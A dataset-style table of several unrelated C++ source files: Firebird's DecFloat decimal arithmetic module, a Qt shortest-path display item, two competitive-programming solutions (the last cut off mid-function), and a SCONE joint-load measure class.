text string | size int64 | token_count int64 |
|---|---|---|
/*
* PROGRAM: Decimal 64 & 128 type.
* MODULE: DecFloat.cpp
* DESCRIPTION: Floating point with decimal exponent.
*
* The contents of this file are subject to the Initial
* Developer's Public License Version 1.0 (the "License");
* you may not use this file except in compliance with the
* License. You may obtain a copy of the License at
* http://www.ibphoenix.com/main.nfs?a=ibphoenix&page=ibp_idpl.
*
* Software distributed under the License is distributed AS IS,
* WITHOUT WARRANTY OF ANY KIND, either express or implied.
* See the License for the specific language governing rights
* and limitations under the License.
*
* The Original Code was created by Alex Peshkov
* for the Firebird Open Source RDBMS project.
*
* Copyright (c) 2016 Alex Peshkov <peshkoff at mail dot ru>
* and all contributors signed below.
*
* All Rights Reserved.
* Contributor(s): ______________________________________.
*
*
*/
#include "firebird.h"
#include "DecFloat.h"
#include "StatusArg.h"
#include "gen/iberror.h"
extern "C"
{
#include "../../extern/decNumber/decimal128.h"
#include "../../extern/decNumber/decimal64.h"
#include "../../extern/decNumber/decNumber.h"
}
#include <stdlib.h>
#include <string.h>
#include <float.h>
using namespace Firebird;
namespace {
struct Dec2fb
{
USHORT decError;
ISC_STATUS fbError;
};
Dec2fb dec2fb[] = {
{ DEC_IEEE_754_Division_by_zero, isc_decfloat_divide_by_zero },
{ DEC_IEEE_754_Inexact, isc_decfloat_inexact_result },
{ DEC_IEEE_754_Invalid_operation, isc_decfloat_invalid_operation },
{ DEC_IEEE_754_Overflow, isc_decfloat_overflow },
{ DEC_IEEE_754_Underflow, isc_decfloat_underflow },
{ 0, 0 }
};
class DecimalContext : public decContext
{
public:
DecimalContext(const Decimal64*, DecimalStatus ds)
: decSt(ds)
{
init(DEC_INIT_DECIMAL64);
}
DecimalContext(const Decimal128Base*, DecimalStatus ds)
: decSt(ds)
{
init(DEC_INIT_DECIMAL128);
}
~DecimalContext() NOEXCEPT_ARG(false)
{
// Typically exceptions should better be not thrown from destructors.
// But in our case there should never be any exception raised inside
// Decimal64/128 functions - C library never throw, i.e. dtor will
// be never called due to exception processing.
// Therefore checking status in destructor is safe.
checkForExceptions();
}
void checkForExceptions()
{
USHORT unmaskedExceptions = decSt.decExtFlag & decContextGetStatus(this);
if (!unmaskedExceptions)
return;
decContextZeroStatus(this);
for (Dec2fb* e = dec2fb; e->decError; ++e)
{
// Arg::Gds(isc_arith_except) as first vector element ?
if (e->decError & unmaskedExceptions)
Arg::Gds(e->fbError).raise();
}
}
private:
DecimalStatus decSt;
void init(int kind)
{
decContextDefault(this, kind);
fb_assert(decSt.roundingMode < USHORT(DEC_ROUND_MAX));
enum rounding rMode = rounding(decSt.roundingMode);
decContextSetRounding(this, rMode);
traps = 0; // do not raise SIGFPE
}
};
const CDecimal128 dmax(DBL_MAX, DecimalStatus(0)), dmin(-DBL_MAX, DecimalStatus(0));
const CDecimal128 dzup(DBL_MIN, DecimalStatus(0)), dzlw(-DBL_MIN, DecimalStatus(0));
const CDecimal128 i64max(MAX_SINT64, DecimalStatus(0)), i64min(MIN_SINT64, DecimalStatus(0));
const CDecimal128 c1(1);
unsigned digits(const unsigned pMax, unsigned char* const coeff, int& exp)
{
for (unsigned i = 0; i < pMax; ++i)
{
if (coeff[i])
{
if (i)
{
memmove(coeff, &coeff[i], pMax - i);
memset(&coeff[pMax - i], 0, i);
exp -= i;
}
i = pMax - i;
while (!coeff[i - 1])
{
fb_assert(i > 0);
--i;
}
return i;
}
}
return 0;
}
void make(ULONG* key,
const unsigned pMax, const int bias, const unsigned decSize,
unsigned char* coeff, int sign, int exp)
{
// normalize coeff & exponent
unsigned dig = digits(pMax, coeff, exp);
// exponent bias and sign
if (!dig)
{
exp = 0;
sign = 0;
}
else
{
exp += (bias + 2);
if (sign)
exp = -exp;
}
*key++ = exp;
// convert to SLONG
fb_assert(pMax / 9 < decSize / sizeof(int));
memset(key, 0, decSize);
for (unsigned i = 0; i < pMax; ++i)
{
unsigned c = i / 9;
key[c] *= 10;
key[c] += (sign ? 9 - coeff[i] : coeff[i]);
}
}
void grab(ULONG* key,
const unsigned pMax, const int bias, const unsigned decSize,
unsigned char* bcd, int& sign, int& exp)
{
exp = *key++;
sign = 0;
// parse exp
if (exp < 0)
{
sign = DECFLOAT_Sign;
exp = -exp;
}
if (exp != 0)
exp -= (bias + 2);
// convert from SLONG
for (int i = pMax; i--;)
{
int c = i / 9;
bcd[i] = key[c] % 10;
key[c] /= 10;
if (sign)
bcd[i] = 9 - bcd[i];
}
// normalize
for (unsigned i = pMax; i--; )
{
if (bcd[i])
{
if (i < pMax - 1)
{
memmove(&bcd[pMax - 1 - i], bcd, i + 1);
memset(bcd, 0, pMax - 1 - i);
exp += (pMax - 1 - i);
}
break;
}
}
}
} // anonymous namespace
namespace Firebird {
void Decimal64::setScale(DecimalStatus decSt, int scale)
{
if (scale)
{
DecimalContext context(this, decSt);
scale += decDoubleGetExponent(&dec);
decDoubleSetExponent(&dec, &context, scale);
}
}
#if SIZEOF_LONG < 8
Decimal64 Decimal64::set(int value, DecimalStatus decSt, int scale)
{
return set(SLONG(value), decSt, scale);
}
#endif
Decimal64 Decimal64::set(SLONG value, DecimalStatus decSt, int scale)
{
decDoubleFromInt32(&dec, value);
setScale(decSt, -scale);
return *this;
}
Decimal64 Decimal64::set(DecimalFixed value, DecimalStatus decSt, int scale)
{
Decimal128 tmp;
tmp.set(value, decSt, scale);
*this = tmp.toDecimal64(decSt);
return *this;
}
Decimal64 Decimal64::set(SINT64 value, DecimalStatus decSt, int scale)
{
{
char s[30]; // for sure enough for int64
sprintf(s, "%" SQUADFORMAT, value);
DecimalContext context(this, decSt);
decDoubleFromString(&dec, s, &context);
}
setScale(decSt, -scale);
return *this;
}
Decimal64 Decimal64::set(const char* value, DecimalStatus decSt)
{
DecimalContext context(this, decSt);
decDoubleFromString(&dec, value, &context);
return *this;
}
Decimal64 Decimal64::set(double value, DecimalStatus decSt)
{
char s[50];
sprintf(s, "%.016e", value);
DecimalContext context(this, decSt);
decDoubleFromString(&dec, s, &context);
return *this;
}
void Decimal64::toString(DecimalStatus decSt, unsigned length, char* to) const
{
DecimalContext context(this, decSt);
if (length)
{
--length;
char s[IDecFloat16::STRING_SIZE];
memset(s, 0, sizeof(s));
decDoubleToString(&dec, s);
if (strlen(s) > length)
decContextSetStatus(&context, DEC_Invalid_operation);
else
length = strlen(s);
memcpy(to, s, length + 1);
}
else
decContextSetStatus(&context, DEC_Invalid_operation);
}
void Decimal64::toString(string& to) const
{
to.grow(IDecFloat16::STRING_SIZE);
toString(DecimalStatus(0), to.length(), to.begin()); // provide long enough string, i.e. no traps
to.recalculate_length();
}
UCHAR* Decimal64::getBytes()
{
return dec.bytes;
}
Decimal64 Decimal64::abs() const
{
Decimal64 rc;
decDoubleCopyAbs(&rc.dec, &dec);
return rc;
}
Decimal64 Decimal64::ceil(DecimalStatus decSt) const
{
DecimalContext context(this, decSt);
Decimal64 rc;
decDoubleToIntegralValue(&rc.dec, &dec, &context, DEC_ROUND_CEILING);
return rc;
}
Decimal64 Decimal64::floor(DecimalStatus decSt) const
{
DecimalContext context(this, decSt);
Decimal64 rc;
decDoubleToIntegralValue(&rc.dec, &dec, &context, DEC_ROUND_FLOOR);
return rc;
}
int Decimal64::compare(DecimalStatus decSt, Decimal64 tgt) const
{
DecimalStatus cmpStatus(decSt);
cmpStatus.decExtFlag &= ~DEC_IEEE_754_Invalid_operation;
DecimalContext context(this, cmpStatus);
decDouble r;
decDoubleCompare(&r, &dec, &tgt.dec, &context);
return decDoubleToInt32(&r, &context, DEC_ROUND_HALF_UP);
}
bool Decimal64::isInf() const
{
switch (decDoubleClass(&dec))
{
case DEC_CLASS_NEG_INF:
case DEC_CLASS_POS_INF:
return true;
}
return false;
}
bool Decimal64::isNan() const
{
switch (decDoubleClass(&dec))
{
case DEC_CLASS_SNAN:
case DEC_CLASS_QNAN:
return true;
}
return false;
}
int Decimal64::sign() const
{
if (decDoubleIsZero(&dec))
return 0;
if (decDoubleIsSigned(&dec))
return -1;
return 1;
}
#ifdef DEV_BUILD
int Decimal64::show()
{
decDoubleShow(&dec, "");
return 0;
}
#endif
Decimal64 Decimal64::neg() const
{
Decimal64 rc;
decDoubleCopyNegate(&rc.dec, &dec);
return rc;
}
void Decimal64::makeKey(ULONG* key) const
{
unsigned char coeff[DECDOUBLE_Pmax];
int sign = decDoubleGetCoefficient(&dec, coeff);
int exp = decDoubleGetExponent(&dec);
make(key, DECDOUBLE_Pmax, DECDOUBLE_Bias, sizeof(dec), coeff, sign, exp);
}
void Decimal64::grabKey(ULONG* key)
{
int exp, sign;
unsigned char bcd[DECDOUBLE_Pmax];
grab(key, DECDOUBLE_Pmax, DECDOUBLE_Bias, sizeof(dec), bcd, sign, exp);
decDoubleFromBCD(&dec, exp, bcd, sign);
}
Decimal64 Decimal64::quantize(DecimalStatus decSt, Decimal64 op2) const
{
DecimalContext context(this, decSt);
Decimal64 rc;
decDoubleQuantize(&rc.dec, &dec, &op2.dec, &context);
return rc;
}
Decimal64 Decimal64::normalize(DecimalStatus decSt) const
{
DecimalContext context(this, decSt);
Decimal64 rc;
decDoubleReduce(&rc.dec, &dec, &context);
return rc;
}
short Decimal64::totalOrder(Decimal64 op2) const
{
decDouble r;
decDoubleCompareTotal(&r, &dec, &op2.dec);
fb_assert(!decDoubleIsNaN(&r));
DecimalContext context2(this, 0);
return decDoubleToInt32(&r, &context2, DEC_ROUND_HALF_UP);
}
/*
* decCompare() implements SQL function COMPARE_DECFLOAT() which has non-traditional return values.
* COMPARE_DECFLOAT (X, Y)
* 0 - X == Y
* 1 - X < Y
* 2 - X > Y
* 3 - values unordered
*/
short Decimal64::decCompare(Decimal64 op2) const
{
if (decDoubleIsNaN(&dec) || decDoubleIsNaN(&op2.dec))
return 3;
switch (totalOrder(op2))
{
case -1:
return 1;
case 0:
return 0;
case 1:
return 2;
default:
fb_assert(false);
}
// warning silencer
return 3;
}
Decimal128 Decimal128::set(Decimal64 d64)
{
decDoubleToWider(&d64.dec, &dec);
return *this;
}
#if SIZEOF_LONG < 8
Decimal128 Decimal128::set(int value, DecimalStatus decSt, int scale)
{
return set(SLONG(value), decSt, scale);
}
#endif
Decimal128 Decimal128::set(SLONG value, DecimalStatus decSt, int scale)
{
decQuadFromInt32(&dec, value);
setScale(decSt, -scale);
return *this;
}
Decimal128 Decimal128::set(DecimalFixed value, DecimalStatus decSt, int scale)
{
*this = value;
setScale(decSt, -scale);
return *this;
}
Decimal128 Decimal128::set(SINT64 value, DecimalStatus decSt, int scale)
{
{
int high = value >> 32;
unsigned low = value & 0xFFFFFFFF;
DecimalContext context(this, decSt);
decQuad pow2_32;
decQuadFromString(&pow2_32, "4294967296", &context);
decQuad up, down;
decQuadFromInt32(&up, high);
decQuadFromUInt32(&down, low);
decQuadFMA(&dec, &up, &pow2_32, &down, &context);
}
setScale(decSt, -scale);
return *this;
}
Decimal128 Decimal128::set(const char* value, DecimalStatus decSt)
{
DecimalContext context(this, decSt);
decQuadFromString(&dec, value, &context);
return *this;
}
Decimal128 Decimal128::set(double value, DecimalStatus decSt)
{
char s[50];
sprintf(s, "%.016e", value);
DecimalContext context(this, decSt);
decQuadFromString(&dec, s, &context);
return *this;
}
DecimalFixed DecimalFixed::set(SLONG value)
{
decQuadFromInt32(&dec, value);
return *this;
}
DecimalFixed DecimalFixed::set(SINT64 value)
{
int high = value >> 32;
unsigned low = value & 0xFFFFFFFF;
DecimalContext context(this, DecimalStatus(0));
decQuad pow2_32;
decQuadFromString(&pow2_32, "4294967296", &context);
decQuad up, down;
decQuadFromInt32(&up, high);
decQuadFromUInt32(&down, low);
decQuadFMA(&dec, &up, &pow2_32, &down, &context);
return *this;
}
DecimalFixed DecimalFixed::set(const char* value, int scale, DecimalStatus decSt)
{
{ // scope for 'context'
DecimalContext context(this, decSt);
decQuadFromString(&dec, value, &context);
}
exactInt(decSt, scale);
return *this;
}
DecimalFixed DecimalFixed::set(double value, int scale, DecimalStatus decSt)
{
char s[50];
sprintf(s, "%18.016e", value);
{ // scope for 'context'
DecimalContext context(this, decSt);
decQuadFromString(&dec, s, &context);
}
exactInt(decSt, scale);
return *this;
}
void DecimalFixed::exactInt(DecimalStatus decSt, int scale)
{
setScale(decSt, -scale);
DecimalContext context(this, decSt);
decQuadToIntegralExact(&dec, &dec, &context);
decQuadQuantize(&dec, &dec, &c1.dec, &context);
}
Decimal128 Decimal128::operator=(Decimal64 d64)
{
decDoubleToWider(&d64.dec, &dec);
return *this;
}
int Decimal128::toInteger(DecimalStatus decSt, int scale) const
{
Decimal128 tmp(*this);
tmp.setScale(decSt, -scale);
DecimalContext context(this, decSt);
enum rounding rMode = decContextGetRounding(&context);
return decQuadToInt32(&tmp.dec, &context, rMode);
}
int DecimalFixed::toInteger(DecimalStatus decSt) const
{
DecimalContext context(this, decSt);
enum rounding rMode = decContextGetRounding(&context);
return decQuadToInt32(&dec, &context, rMode);
}
void Decimal128::toString(DecimalStatus decSt, unsigned length, char* to) const
{
DecimalContext context(this, decSt);
if (length)
{
--length;
char s[IDecFloat34::STRING_SIZE];
memset(s, 0, sizeof(s));
decQuadToString(&dec, s);
if (strlen(s) > length)
decContextSetStatus(&context, DEC_Invalid_operation);
else
length = strlen(s);
memcpy(to, s, length + 1);
}
else
decContextSetStatus(&context, DEC_Invalid_operation);
}
void Decimal128::toString(string& to) const
{
to.grow(IDecFloat34::STRING_SIZE);
toString(DecimalStatus(0), to.length(), to.begin()); // provide long enough string, i.e. no traps
to.recalculate_length();
}
Decimal128 DecimalFixed::scaled128(DecimalStatus decSt, int scale) const
{
Decimal128 tmp;
tmp.set(*this, decSt, -scale);
return tmp;
}
void DecimalFixed::toString(DecimalStatus decSt, int scale, unsigned length, char* to) const
{
scaled128(decSt, scale).toString(decSt, length, to);
}
void DecimalFixed::toString(DecimalStatus decSt, int scale, string& to) const
{
scaled128(decSt, scale).toString(to);
}
double Decimal128Base::toDouble(DecimalStatus decSt) const
{
DecimalContext context(this, decSt);
if (compare(decSt, dmin) < 0 || compare(decSt, dmax) > 0)
decContextSetStatus(&context, DEC_Overflow);
else if ((!decQuadIsZero(&dec)) && compare(decSt, dzlw) > 0 && compare(decSt, dzup) < 0)
{
decContextSetStatus(&context, DEC_Underflow);
return 0.0;
}
else
{
char s[IDecFloat34::STRING_SIZE];
decQuadToString(&dec, s);
return atof(s);
}
return 0.0;
}
SINT64 Decimal128::toInt64(DecimalStatus decSt, int scale) const
{
static CDecimal128 quant(1);
Decimal128 wrk(*this);
wrk.setScale(decSt, -scale);
wrk = wrk.quantize(decSt, quant);
if (wrk.compare(decSt, i64min) < 0 || wrk.compare(decSt, i64max) > 0)
{
DecimalContext context(this, decSt);
decContextSetStatus(&context, DEC_Invalid_operation);
return 0; // in case of no trap on invalid operation
}
unsigned char coeff[DECQUAD_Pmax];
int sign = decQuadGetCoefficient(&wrk.dec, coeff);
SINT64 rc = 0;
for (int i = 0; i < DECQUAD_Pmax; ++i)
{
rc *= 10;
if (sign)
rc -= coeff[i];
else
rc += coeff[i];
}
return rc;
}
SINT64 DecimalFixed::toInt64(DecimalStatus decSt) const
{
if (compare(decSt, i64min) < 0 || compare(decSt, i64max) > 0)
{
DecimalContext context(this, decSt);
decContextSetStatus(&context, DEC_Invalid_operation);
return 0; // in case of no trap on invalid operation
}
unsigned char coeff[DECQUAD_Pmax];
int sign = decQuadGetCoefficient(&dec, coeff);
SINT64 rc = 0;
for (int i = 0; i < DECQUAD_Pmax; ++i)
{
rc *= 10;
if (sign)
rc -= coeff[i];
else
rc += coeff[i];
}
return rc;
}
UCHAR* Decimal128Base::getBytes()
{
return dec.bytes;
}
Decimal64 Decimal128Base::toDecimal64(DecimalStatus decSt) const
{
Decimal64 rc;
DecimalContext context(this, decSt);
decDoubleFromWider(&rc.dec, &dec, &context);
return rc;
}
void Decimal128Base::setScale(DecimalStatus decSt, int scale)
{
if (scale)
{
DecimalContext context(this, decSt);
scale += decQuadGetExponent(&dec);
decQuadSetExponent(&dec, &context, scale);
}
}
int Decimal128Base::compare(DecimalStatus decSt, Decimal128Base tgt) const
{
DecimalContext context(this, decSt);
decQuad r;
decQuadCompare(&r, &dec, &tgt.dec, &context);
return decQuadToInt32(&r, &context, DEC_ROUND_HALF_UP);
}
bool Decimal128Base::isInf() const
{
switch(decQuadClass(&dec))
{
case DEC_CLASS_NEG_INF:
case DEC_CLASS_POS_INF:
return true;
}
return false;
}
bool Decimal128Base::isNan() const
{
switch(decQuadClass(&dec))
{
case DEC_CLASS_SNAN:
case DEC_CLASS_QNAN:
return true;
}
return false;
}
int Decimal128Base::sign() const
{
if (decQuadIsZero(&dec))
return 0;
if (decQuadIsSigned(&dec))
return -1;
return 1;
}
Decimal128 Decimal128::ceil(DecimalStatus decSt) const
{
DecimalContext context(this, decSt);
Decimal128 rc;
decQuadToIntegralValue(&rc.dec, &dec, &context, DEC_ROUND_CEILING);
return rc;
}
Decimal128 Decimal128::floor(DecimalStatus decSt) const
{
DecimalContext context(this, decSt);
Decimal128 rc;
decQuadToIntegralValue(&rc.dec, &dec, &context, DEC_ROUND_FLOOR);
return rc;
}
#ifdef DEV_BUILD
int Decimal128Base::show()
{
decQuadShow(&dec, "");
return 0;
}
#endif
Decimal128 Decimal128::abs() const
{
Decimal128 rc;
decQuadCopyAbs(&rc.dec, &dec);
return rc;
}
Decimal128 Decimal128::neg() const
{
Decimal128 rc;
decQuadCopyNegate(&rc.dec, &dec);
return rc;
}
Decimal128 Decimal128::add(DecimalStatus decSt, Decimal128 op2) const
{
DecimalContext context(this, decSt);
Decimal128 rc;
decQuadAdd(&rc.dec, &dec, &op2.dec, &context);
return rc;
}
Decimal128 Decimal128::sub(DecimalStatus decSt, Decimal128 op2) const
{
DecimalContext context(this, decSt);
Decimal128 rc;
decQuadSubtract(&rc.dec, &dec, &op2.dec, &context);
return rc;
}
Decimal128 Decimal128::mul(DecimalStatus decSt, Decimal128 op2) const
{
DecimalContext context(this, decSt);
Decimal128 rc;
decQuadMultiply(&rc.dec, &dec, &op2.dec, &context);
return rc;
}
DecimalFixed DecimalFixed::abs() const
{
DecimalFixed rc;
decQuadCopyAbs(&rc.dec, &dec);
return rc;
}
DecimalFixed DecimalFixed::neg() const
{
DecimalFixed rc;
decQuadCopyNegate(&rc.dec, &dec);
return rc;
}
DecimalFixed DecimalFixed::add(DecimalStatus decSt, DecimalFixed op2) const
{
DecimalContext context(this, decSt);
DecimalFixed rc;
decQuadAdd(&rc.dec, &dec, &op2.dec, &context);
context.checkForExceptions();
decQuadQuantize(&rc.dec, &rc.dec, &c1.dec, &context);
return rc;
}
DecimalFixed DecimalFixed::sub(DecimalStatus decSt, DecimalFixed op2) const
{
DecimalContext context(this, decSt);
DecimalFixed rc;
decQuadSubtract(&rc.dec, &dec, &op2.dec, &context);
context.checkForExceptions();
decQuadQuantize(&rc.dec, &rc.dec, &c1.dec, &context);
return rc;
}
DecimalFixed DecimalFixed::mul(DecimalStatus decSt, DecimalFixed op2) const
{
DecimalContext context(this, decSt);
DecimalFixed rc;
decQuadMultiply(&rc.dec, &dec, &op2.dec, &context);
context.checkForExceptions();
decQuadQuantize(&rc.dec, &rc.dec, &c1.dec, &context);
return rc;
}
Decimal128 Decimal128::div(DecimalStatus decSt, Decimal128 op2) const
{
DecimalContext context(this, decSt);
Decimal128 rc;
decQuadDivide(&rc.dec, &dec, &op2.dec, &context);
return rc;
}
DecimalFixed DecimalFixed::div(DecimalStatus decSt, DecimalFixed op2, int scale) const
{
DecimalContext context(this, decSt);
DecimalFixed rc;
// first divide with full decfloat precision
decQuadDivide(&rc.dec, &dec, &op2.dec, &context);
// next re-scale & int-ize
rc.exactInt(decSt, scale);
return rc;
}
DecimalFixed DecimalFixed::mod(DecimalStatus decSt, DecimalFixed op2) const
{
DecimalContext context(this, decSt);
DecimalFixed rc;
decQuadRemainder(&rc.dec, &dec, &op2.dec, &context);
return rc;
}
Decimal128 Decimal128::fma(DecimalStatus decSt, Decimal128 op2, Decimal128 op3) const
{
DecimalContext context(this, decSt);
Decimal128 rc;
decQuadFMA(&rc.dec, &op2.dec, &op3.dec, &dec, &context);
return rc;
}
Decimal128 Decimal128::sqrt(DecimalStatus decSt) const
{
decNumber dn;
decQuadToNumber(&dec, &dn);
DecimalContext context(this, decSt);
decNumberSquareRoot(&dn, &dn, &context);
Decimal128 rc;
decQuadFromNumber(&rc.dec, &dn, &context);
return rc;
}
Decimal128 Decimal128::pow(DecimalStatus decSt, Decimal128 op2) const
{
decNumber dn, dn2;
decQuadToNumber(&dec, &dn);
decQuadToNumber(&op2.dec, &dn2);
DecimalContext context(this, decSt);
decNumberPower(&dn, &dn, &dn2, &context);
Decimal128 rc;
decQuadFromNumber(&rc.dec, &dn, &context);
return rc;
}
Decimal128 Decimal128::ln(DecimalStatus decSt) const
{
decNumber dn;
decQuadToNumber(&dec, &dn);
DecimalContext context(this, decSt);
decNumberLn(&dn, &dn, &context);
Decimal128 rc;
decQuadFromNumber(&rc.dec, &dn, &context);
return rc;
}
Decimal128 Decimal128::log10(DecimalStatus decSt) const
{
decNumber dn;
decQuadToNumber(&dec, &dn);
DecimalContext context(this, decSt);
decNumberLog10(&dn, &dn, &context);
Decimal128 rc;
decQuadFromNumber(&rc.dec, &dn, &context);
return rc;
}
void Decimal128Base::makeKey(ULONG* key) const
{
unsigned char coeff[DECQUAD_Pmax];
int sign = decQuadGetCoefficient(&dec, coeff);
int exp = decQuadGetExponent(&dec);
make(key, DECQUAD_Pmax, DECQUAD_Bias, sizeof(dec), coeff, sign, exp);
}
void Decimal128Base::grabKey(ULONG* key)
{
int exp, sign;
unsigned char bcd[DECQUAD_Pmax];
grab(key, DECQUAD_Pmax, DECQUAD_Bias, sizeof(dec), bcd, sign, exp);
decQuadFromBCD(&dec, exp, bcd, sign);
}
ULONG Decimal128Base::getIndexKeyLength()
{
return 17;
}
ULONG Decimal128Base::makeIndexKey(vary* buf)
{
unsigned char coeff[DECQUAD_Pmax + 2];
int sign = decQuadGetCoefficient(&dec, coeff);
int exp = decQuadGetExponent(&dec);
const int bias = DECQUAD_Bias;
const unsigned pMax = DECQUAD_Pmax;
// normalize coeff & exponent
unsigned dig = digits(pMax, coeff, exp);
// exponent bias and sign
exp += (bias + 1);
if (!dig)
exp = 0;
if (sign)
exp = -exp;
exp += 2 * (bias + 1); // make it positive
fb_assert(exp >= 0 && exp < 64 * 1024);
// encode exp
char* k = buf->vary_string;
*k++ = exp >> 8;
*k++ = exp & 0xff;
// invert negative
unsigned char* const end = &coeff[dig];
if (sign && dig)
{
fb_assert(end[-1]);
--end[-1];
for (unsigned char* p = coeff; p < end; ++p)
*p = 9 - *p;
}
// Some 0's in the end - caller, do not forget to reserve additional space on stack
end[0] = end[1] = 0;
// Avoid bad data in k in case when coeff is zero
*k = 0;
// Shifts for moving 10-bit values to bytes buffer
struct ShiftTable { UCHAR rshift, lshift; };
static ShiftTable table[4] =
{
{ 2, 6 },
{ 4, 4 },
{ 6, 2 },
{ 8, 0 }
};
// compress coeff - 3 decimal digits (999) per 10 bits (1023)
unsigned char* p = coeff;
for (ShiftTable* t = table; p < end; p += 3)
{
USHORT val = p[0] * 100 + p[1] * 10 + p[2];
fb_assert(val < 1000); // 1024, 10 bit
*k |= (val >> t->rshift);
++k;
*k = (val << t->lshift);
if (!t->lshift)
{
++k;
*k = 0;
t = table;
}
else
++t;
}
if (*k)
++k;
// done
buf->vary_length = k - buf->vary_string;
return buf->vary_length;
}
Decimal128 Decimal128::quantize(DecimalStatus decSt, Decimal128 op2) const
{
DecimalContext context(this, decSt);
Decimal128 rc;
decQuadQuantize(&rc.dec, &dec, &op2.dec, &context);
return rc;
}
Decimal128 Decimal128::normalize(DecimalStatus decSt) const
{
DecimalContext context(this, decSt);
Decimal128 rc;
decQuadReduce(&rc.dec, &dec, &context);
return rc;
}
short Decimal128::totalOrder(Decimal128 op2) const
{
decQuad r;
decQuadCompareTotal(&r, &dec, &op2.dec);
fb_assert(!decQuadIsNaN(&r));
DecimalContext context2(this, 0);
return decQuadToInt32(&r, &context2, DEC_ROUND_HALF_UP);
}
/*
* decCompare() implements SQL function COMPARE_DECFLOAT() which has non-traditional return values.
* COMPARE_DECFLOAT (X, Y)
* 0 - X == Y
* 1 - X < Y
* 2 - X > Y
* 3 - values unordered
*/
short Decimal128::decCompare(Decimal128 op2) const
{
if (decQuadIsNaN(&dec) || decQuadIsNaN(&op2.dec))
return 3;
switch (totalOrder(op2))
{
case -1:
return 1;
case 0:
return 0;
case 1:
return 2;
default:
fb_assert(false);
}
// warning silencer
return 3;
}
} // namespace Firebird
| 24,442 | 10,410 |
#include "shortest_path_graphics_item.h"
#include "algorithms/controlled_dijkstra_algorithm.h"
#include "graph/graph.h"
#include "graph/node.h"
#include "functions.h"
#include "colors.h"
#include <QGraphicsScene>
static const qreal Y_SPACING = 1.2; // same as vtable_graphics_item.cpp
ShortestPathGraphicsItem::ShortestPathGraphicsItem(ControlledDijkstraAlgorithm *algorithm, QGraphicsItem *parent)
:
MovableGraphicsItem(parent),
dijkstra_algorithm(algorithm)
{
updateEntries();
}
void ShortestPathGraphicsItem::updateEntries() {
QMap<Node*, int> dist = dijkstra_algorithm->dist();
QMap<Node*, Node*> pred = dijkstra_algorithm->pred();
// delete entry items if they're not there anymore
for (Node *n : entries.keys()) {
if (!dist.keys().contains(n)) {
delete entries[n];
entries.remove(n);
}
}
// SORT nodes (making output neat)
QList<Node *> sorted_keys = dist.keys();
std::sort(sorted_keys.begin(), sorted_keys.end(), [](Node *n, Node*n2){ return n->getLabel() < n2->getLabel();});
int y_pos = 0;
for (Node *n : sorted_keys) {
if (!entries.keys().contains(n)) {
entries[n] = new QGraphicsTextItem(this);
entries[n]->setPos(0, y_pos);
}
QString text = QString("V[%1] = (%2, %3)")
.arg(colouredHtml(n->getLabel(),n->getColor() == COLOR_NODE_DEFAULT ? Qt::black : n->getColor()))
.arg(colouredHtml(QString::number(dist[n]), dist[n] == INT_MAX ? Qt::black : COLOR_DIJKSTRA_OPTIMAL))
.arg(pred[n] ? colouredHtml(pred[n]->getLabel(), pred[n]->getColor()) : "-");
entries[n]->setHtml(text);
y_pos += entries[n]->boundingRect().height() * Y_SPACING;
}
//update();
if (QGraphicsScene *scene = this->scene())
scene->update();
}
void ShortestPathGraphicsItem::paint(QPainter *painter, const QStyleOptionGraphicsItem *option, QWidget *widget)
{
MovableGraphicsItem::paint(painter, option, widget);
}
| 2,037 | 682 |
#include <iostream>
#include <string>
#include <vector>
using namespace ::std;
class Solution
{
public:
bool divisorGame(int N)
{
//N=1 必败
//N=2 必胜
//本题有数学证明,但个人想用动归解
//return N%2==0;
//dp为1维,找到<i 的false(必输局面即可获胜)若找不到,则必输
//状态转换公式为:i % j == 0 && f[i - j] == false
vector<bool> f(N + 1, false);
f[1] = false;
f[2] = true;
for (int i = 3; i <= N; i++)
{
for (int j = 1; j < i; j++)
{
if (i % j == 0 && f[i - j] == false)
{
f[i] = true;
break;
}
}
}
return f[N];
}
}; | 705 | 300 |
/*
** JointLoadMeasure.cpp
**
** Copyright (C) 2013-2019 Thomas Geijtenbeek and contributors. All rights reserved.
**
** This file is part of SCONE. For more information, see http://scone.software.
*/
#include "JointLoadMeasure.h"
#include "scone/model/Model.h"
namespace scone
{
JointLoadMeasure::JointLoadMeasure( const PropNode& props, Params& par, const Model& model, const Location& loc ) :
Measure( props, par, model, loc ),
RangePenalty( props ),
joint_load(),
joint( *FindByName( model.GetJoints(), props.get< String >( "joint" ) ) )
{
INIT_PROP( props, method, 1 );
}
double JointLoadMeasure::ComputeResult( const Model& model )
{
return RangePenalty<Real>::GetResult();
}
bool JointLoadMeasure::UpdateMeasure( const Model& model, double timestamp )
{
joint_load = joint.GetLoad();
AddSample( timestamp, joint_load );
return false;
}
scone::String JointLoadMeasure::GetClassSignature() const
{
return "";
}
void JointLoadMeasure::StoreData( Storage< Real >::Frame& frame, const StoreDataFlags& flags ) const
{
// #todo: store joint load value
frame[ joint.GetName() + ".load_penalty" ] = GetLatest();
}
}
| 1,161 | 429 |
// Ivan Carvalho
// Solution to https://www.spoj.com/problems/TWOPATHS/
#include <bits/stdc++.h>
using namespace std;
typedef long long ll;
const int MAXN = 1e5 + 10;
vector<int> grafo[MAXN];
int maior_dist[MAXN][3],maior_diam[MAXN][2];
int temporario_diametro[MAXN],temporario_dist[MAXN],N;
ll melhor_produto;
void calcula(int v){
temporario_dist[v] = maior_dist[v][0];
temporario_diametro[v] = max(maior_diam[v][0],maior_dist[v][0] + maior_dist[v][1]);
}
void insert(int v,int u){
int ndist = temporario_dist[u] + 1;
if(ndist > maior_dist[v][0]){
maior_dist[v][2] = maior_dist[v][1];
maior_dist[v][1] = maior_dist[v][0];
maior_dist[v][0] = ndist;
}
else if(ndist > maior_dist[v][1]){
maior_dist[v][2] = maior_dist[v][1];
maior_dist[v][1] = ndist;
}
else if(ndist > maior_dist[v][2]){
maior_dist[v][2] = ndist;
}
int ndiam = temporario_diametro[u];
if(ndiam > maior_diam[v][0]){
maior_diam[v][1] = maior_diam[v][0];
maior_diam[v][0] = ndiam;
}
else if(ndiam > maior_diam[v][1]){
maior_diam[v][1] = ndiam;
}
calcula(v);
}
void remove(int v,int u){
int ndist = temporario_dist[u] + 1;
int ndiam = temporario_diametro[u];
if(ndist == maior_dist[v][0]){
maior_dist[v][0] = maior_dist[v][1];
maior_dist[v][1] = maior_dist[v][2];
}
else if(ndist == maior_dist[v][1]){
maior_dist[v][1] = maior_dist[v][2];
}
if(ndiam == maior_diam[v][0]){
maior_diam[v][0] = maior_diam[v][1];
}
calcula(v);
}
void dfs1(int v,int p){
calcula(v);
for(int u : grafo[v]){
if(u == p) continue;
